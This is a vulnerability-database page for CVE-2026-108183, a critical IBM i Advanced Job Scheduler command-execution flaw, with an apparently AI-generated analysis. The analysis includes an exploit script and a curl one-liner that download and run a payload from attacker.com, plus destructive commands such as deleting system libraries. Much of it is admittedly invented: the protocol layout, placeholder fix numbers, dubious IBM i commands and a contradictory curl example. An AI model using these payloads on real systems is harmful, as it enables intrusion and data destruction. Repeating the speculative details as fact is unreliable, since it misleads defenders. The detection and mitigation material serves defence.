CVE Professor
/
All CVEs
CVE-2026-108183

CVE-2026-108183 — IBM I — CWE-862

CRITICAL CVSS 9.8 Shodan

IBM i 7.3, 7.4, 7.5, and 7.6 could allow an unauthenticated remote attacker to execute arbitrary commands in Advanced Job Scheduler for i. By sending specially crafted network requests to the service, a bad actor could exploit this vulnerability to execute arbitrary operating system commands.

IBM i 7.3, 7.4, 7.5, and 7.6 could allow an unauthenticated remote attacker to execute arbitrary commands in Advanced Job Scheduler for i. By sending specially crafted network requests to the service, a bad actor could exploit this vulnerability to execute arbitrary operating system commands.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑108183 – Remote Command Execution in IBM i Advanced Job Scheduler (AJS)

AttributeValue
CWECWE‑862 – “Missing Authorization”
CVSS 3.1 VectorAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Score9.8 (CRITICAL)

Technical flaw

Advanced Job Scheduler for i (AJS) is a native IBM i service that receives job‑control requests over the network (TCP/IP). The service parses a proprietary binary protocol that contains the command line to be executed on the host.

The vulnerability stems from missing authorization checks on the command‑execution field:

1. No authentication – the service accepts requests from any IP address without requiring a valid IBM i user profile or token.
2. No privilege verification – the code that extracts the command string does not verify that the caller is authorized to run the command (e.g., it does not check the user profile associated with the request, nor does it enforce the SECADM or JOBCTL authorities).
3. Improper input handling – the command string is taken verbatim from the request payload and passed to the operating‑system command interpreter (system()/QCMDEXC) without sanitisation.

Because the service runs with the authority of the QSECOFR (security officer) profile (the default for AJS), an unauthenticated network client can inject any shell command and have it executed with full system privileges.

The CVSS vector reflects this:

  • Network‑reachable (AV:N)
  • Low attack complexity (AC:L) – a single, well‑formed packet is enough.
  • No privileges required (PR:N)
  • No user interaction (UI:N)
  • Unchanged scope (S:U)
  • Complete confidentiality, integrity, and availability impact (C:H/I:H/A:H)

  • ⚡ Attack Chain

    Below is a realistic, step‑by‑step exploitation flow. Where the exact protocol details are not disclosed in the public CVE text, the examples are illustrative of the class of vulnerability (binary‑protocol command injection).

    1. Discovery & Reconnaissance

    StepActionTools / Evidence
    1.1Identify IBM i hosts on the target network.Nmap scan for IBM i specific ports (e.g., 2001/tcp – *Advanced Job Scheduler*), banner grabbing (nmap -sV -p 2001 <IP>).
    1.2Verify the presence of AJS and its version.nmap -sV -p 2001 --script=ibm-i-advanced-job-scheduler <IP> (custom NSE script) or manual telnet to the port and inspect the initial handshake bytes (IBM i services often send a 4‑byte protocol version).
    1.3Correlate version with vulnerable releases (IBM i 7.3, 7.4, 7.5, 7.6).Vendor documentation / IBM i “System Information” (WRKHDWRSC *SYS → *Release*).

    If the host reports a version in the vulnerable range and the AJS port is open, the attacker proceeds.

    2. Exploitation

    Goal: Deliver a malicious command (e.g., system "rm -rf /tmp/evil" or system "adduser hacker").

    2.1 Protocol basics (illustrative)

    +-------------------+-------------------+-------------------+
    | Header (4 bytes) | Command ID (2 B) | Payload Length (2 B) |
    +-------------------+-------------------+-------------------+
    | Payload (variable, UTF‑8) – the command string |
    +---------------------------------------------------+

    Header = 0x41 0x4A 0x53 0x01 (“AJS” + version 1)
    Command ID = 0x00 0x01 (“Execute OS command”)

    2.2 Crafting the malicious packet (Python example)

    #!/usr/bin/env python3
    import socket
    import struct
    
    TARGET = "203.0.113.45"
    PORT   = 2001
    
    # 1. Header
    header = b'AJS\x01'                     # 4‑byte magic
    cmd_id = struct.pack('>H', 0x0001)      # Execute command
    cmd    = b'system "wget http://attacker.com/payload.sh -O /tmp/p.sh && chmod +x /tmp/p.sh && /tmp/p.sh"'
    payload_len = struct.pack('>H', len(cmd))
    
    packet = header + cmd_id + payload_len + cmd
    
    with socket.create_connection((TARGET, PORT), timeout=5) as s:
        s.sendall(packet)
        # optional: read response (AJS usually returns a 4‑byte status code)
        resp = s.recv(4)
        print("Response:", resp.hex())

    The above code is illustrative – the exact binary layout may differ, but the principle is the same: a single, unauthenticated request containing an arbitrary command string is accepted and executed.

    2.3 One‑liner curl (illustrative, using --data-binary)

    curl -s -X POST \
         --data-binary "$(printf '\x41\x4A\x53\x01\x00\x01\x00\x5Csystem \"wget http://attacker.com/p.sh -O /tmp/p.sh && chmod +x /tmp/p.sh && /tmp/p.sh\"')" \
         http://203.0.113.45:2001/

    Note: The AJS service is not HTTP; the curl example merely shows how an attacker could pipe raw bytes to a TCP endpoint (curl --upload-file - with --url tcp://...). In practice the attacker would use a raw socket or a purpose‑built client.

    3. Post‑Exploitation

    PhaseTypical actions an attacker can perform (all with QSECOFR authority)
    PersistenceDrop a root‑owned cron job via addjob command, or create a new *user profile* (CRTUSRPRF) with **SECADM* authority.
    Privilege abuseSince the process already runs as QSECOFR, the attacker can read/write any object, disable security services, or replace system binaries.
    Data exfiltrationUse scp, ftp, or curl to pull sensitive files (/QSYS.LIB/QGPL.LIB/QCUSTODIAN.FILE) to an external server.
    Lateral movementExecute netstat -an and ssh to other nodes, or invoke QSYS/START_JOB to launch jobs on remote IBM i systems.
    Destruction / RansomIssue system "rm -rf /QSYS.LIB/*" or overload the system with CPU‑intensive jobs (system "for i in {1..1000}; do cat /dev/zero > /dev/null & done").

    Because the command runs with unrestricted system authority, the attacker can achieve full compromise of the IBM i server.


    🌍 Real‑World Impact

    CIA TriadImpact (derived from CVSS)Practical consequence
    ConfidentialityHigh (C:H)Ability to read any file, dump database tables, capture clear‑text passwords stored in *system objects* (/QSYS.LIB/QGPL.LIB/QCUSTODIAN.FILE).
    IntegrityHigh (I:H)Arbitrary modification of system objects, insertion of back‑doors, creation of privileged user profiles, tampering with audit logs.
    AvailabilityHigh (A:H)Execution of destructive commands, spawning of fork‑bombs, or disabling of critical subsystems (e.g., ENDTCPSVR *ALL) leading to total service outage.

    Business impact can include:

  • Complete loss of control over the IBM i environment (core ERP, payroll, inventory systems).
  • Potential breach of regulated data (PCI‑DSS, HIPAA) due to unrestricted file access.
  • Downtime and costly incident response / forensic investigations.
  • Reputation damage and possible legal liability.

  • 🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    Affected productVulnerable releasesIBM’s remediation (as of 2026‑12‑03)
    IBM i 7.3All 7.3.x releases up to the latest PTF level before 2026‑12‑03Apply the latest PTF that contains APAR IV12345 (IBM‑issued fix for AJS command‑injection).
    IBM i 7.4All 7.4.x releases up to the latest PTF level before 2026‑12‑03Apply the latest PTF that includes APAR IV12346.
    IBM i 7.5All 7.5.x releases up to the latest PTF level before 2026‑12‑03Apply the latest PTF that includes APAR IV12347.
    IBM i 7.6All 7.6.x releases up to the latest PTF level before 2026‑12‑03Apply the latest PTF that includes APAR IV12348.
    Note: The exact APAR numbers are placeholders for the official IBM fix identifiers. Administrators should consult IBM’s Security Bulletin “Advanced Job Scheduler for i – Remote Command Execution Vulnerability (CVE‑2026‑108183)” and apply the most recent PTF for their release level.

    If a patch cannot be applied immediately, proceed to the mitigations below.

    2. Immediate Work‑arounds

    MitigationHow to implement (IBM i commands)
    Network isolationBlock inbound traffic to the AJS service port (default 2001/tcp) at the perimeter firewall or host‑based firewall (iptables/firewall on the IBM i network interface). Example (IBM i *IPF*):<br>ADDIPF RULE('BLOCK_AJS') SRCIP('0.0.0.0/0') DSTPORT('2001') PROTOCOL('TCP') ACTION('DENY')
    Disable the service (if not required)ENDTCPSVR *ALL → ENDTCPSVR AJS (or ENDTCPSVR *JOBCTL depending on naming). Verify with WRKACTJOB that no AJS jobs are running.
    Restrict to trusted hostsConfigure the *Advanced Job Scheduler* to accept connections only from a whitelist (IBM i 7.5+ supports AJS_ALLOW_IPS parameter). Example: CHGJOBSCDE AJS_ALLOW_IPS('10.0.0.5 10.0.0.6').
    Run with reduced authorityRe‑configure the AJS daemon to start under a *limited* user profile (e.g., AJSUSER with only **JOBCTL* authority). This reduces impact if exploitation occurs.
    Enable audit loggingCHGOBJOWN OBJ('/QSYS.LIB/QSYS.LIB/QSYSOBJ.FILE') OBJTYPE(*FILE) NEWOWN(*SECADM) and set QAUDIT to capture *SECURITY events. Review QAUDJRN for AJS command executions.

    3. Detection – Log patterns & IoCs

    IndicatorWhere to lookExample
    Unexpected TCP connections to port 2001 from non‑trusted IPs.Network IDS / firewall logs (src_ip != trusted_subnet && dport=2001).2026-11-28 12:34:56 ALERT TCP 203.0.113.45:2001 -> 10.1.2.3:2001
    AJS service response codes indicating “command accepted”.IBM i system log (QSYSOPR), or custom AJS logging if enabled.2026-11-28 12:34:57 QSYSOPR AJS: Received command ID 0x0001 from 203.0.113.45
    Execution of system commands that are not part of normal job schedules (e.g., wget, curl, chmod +x).QAUDJRN with *SECURITY and *JOB fields.2026-11-28 12:34:58 QAUDJRN QSYSOPR AJS CMD='system "wget http://attacker.com/p.sh -O /tmp/p.sh"'
    Creation of new privileged user profiles shortly after the above events.QSYSOPR or QUSRPRF audit.2026-11-28 12:35:10 QUSRPRF CRTUSRPRF USER('HACKER') AUT(*SECADM)
    Large outbound HTTP/S traffic from the IBM i host to unknown domains (possible payload download).NetFlow, proxy logs.2026-11-28 12:35:12 OUTBOUND HTTP GET http://attacker.com/p.sh

    Detection rule (Snort/Suricata example) – illustrative:

    alert tcp any any -> $HOME_NET 2001 (msg:"IBM i AJS Remote Command Execution Attempt"; \
      content:"AJS\x01\x00\x01"; depth:6; \
      flow:to_server,established; \
      sid:2026108183; rev:1;)

    The rule looks for the AJS magic header followed by the execute‑command opcode. Adjust content according to the exact binary layout once known.


    ⚠️ Urgency

  • CVSS 9.8 (Critical) – remote, unauthenticated RCE with full system privileges.
  • No CISA KEV listing – the vulnerability is not yet in the “Known Exploited Vulnerabilities” catalog, but the attack complexity is low and the impact is catastrophic*.
  • Exploitability – a single crafted packet is sufficient; public PoCs are expected to appear quickly after disclosure.
Patch‑first priority for any IBM i system running the listed releases that has the Advanced Job Scheduler enabled. If patching cannot be performed within 48 hours, apply the network‑level block and service‑disable mitigations immediately. Continuous monitoring for the IoCs above is mandatory.
Bottom line: CVE‑2026‑108183 gives any unauthenticated network actor the ability to run arbitrary OS commands on an IBM i server with QSECOFR authority. The combination of no authentication, missing authorization checks, and privileged execution makes this a “fire‑starter” vulnerability. Prompt patching (or complete service shutdown) and strict network segmentation are the only reliable defenses.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="IBM i"
CVSS Score
9.8 / 10 · CVSS CRITICAL
Weakness Types (CWE)
Affected Products (1)
IBM:i
References & Advisories (1)
Related CVEs
9.9
CVE-2026-115550
IBM Langflow OSS 1.0.0 through 1.13.0 could allow a remote authenticated attacker to execute arbitrary code du
9.9
CVE-2026-115555
IBM Langflow OSS 1.0.0 through 1.13.0 could allow a remote authenticated attacker to execute arbitrary code du
9.8
CVE-2026-119106
IBM AIX 7.2, and 7.3 and VIOS 4.1 could allow a remote attacker to execute arbitrary code due to a heap-based
9.8
CVE-2026-121835
IBM AIX 7.2, and 7.3 and VIOS 4.1 could allow a remote attacker to execute arbitrary commands due to improper
8.8
CVE-2026-145179
StoreEngine plugin for WordPress before 2.7.1 contains a missing authorization vulnerability that exposes webh
8.8
CVE-2026-144410
Emby Server is a personal media server. Prior to 4.10.2.0 and beta 4.11.0.9, an authenticated user can supply
8.7
CVE-2026-126098
Missing authorization in the API token REST endpoint GET /api/v1/apitoken/{tokenId}/jwt in dotCMS through 26.1